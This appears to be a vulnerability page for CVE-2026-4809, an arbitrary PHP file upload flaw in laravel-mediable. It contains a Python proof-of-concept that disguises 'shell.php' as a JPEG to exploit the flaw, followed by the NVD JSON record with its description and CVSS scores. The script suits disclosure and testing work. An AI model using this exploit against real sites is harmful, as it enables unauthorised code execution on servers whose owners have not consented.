CVE-2026-4809

import requests def exploit_upload(target_url): """ PoC for CVE-2026-4809 Uploads a PHP shell disguised as an image. """ # The malicious PHP payload php_payload = "<?php phpinfo(); ?>" # The endpoint vulnerable to the upload upload_url = f"{target_url}/upload" # Construct the multipart form data # The key vulnerability is trusting the 'image/jpeg' MIME type files = { 'file': ('shell.php', php_payload, 'image/jpeg') } # Optional data if the package requires specific fields data = { 'content_type': 'image/jpeg' } try: response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Check your shell at: {target_url}/uploads/shell.php") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-site.com" exploit_upload(target)

{"cve": {"id": "CVE-2026-4809", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-03-26T11:16:21.440", "lastModified": "2026-05-19T15:50:41.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "plank/laravel-mediable through version 6.4.0 can allow upload of a dangerous file type when an application using the package accepts or prefers a client-supplied MIME type during file upload handling. In that configuration, a remote attacker can submit a file containing executable PHP code while declaring a benign image MIME type, resulting in arbitrary file upload. If the uploaded file is stored in a web-accessible and executable location, this may lead to remote code execution. At the time of publication, no patch was available and the vendor had not responded to coordinated disclosure attempts."}, {"lang": "es", "value": "plank/laravel-mediable hasta la versión 6.4.0 puede permitir la carga de un tipo de archivo peligroso cuando una aplicación que utiliza el paquete acepta o prefiere un tipo MIME proporcionado por el cliente durante el manejo de la carga de archivos. En esa configuración, un atacante remoto puede enviar un archivo que contiene código PHP ejecutable mientras declara un tipo MIME de imagen benigno, lo que resulta en la carga arbitraria de archivos. Si el archivo cargado se almacena en una ubicación accesible por la web y ejecutable, esto puede conducir a la ejecución remota de código. En el momento de la publicación, no había ningún parche disponible y el proveedor no había respondido a los intentos de divulgación coordinada."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "baseScore": 10.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/plank/laravel-mediable", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c"}, {"url": "https://github.com/plank/laravel-mediable/releases/tag/6.4.0", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c"}]}}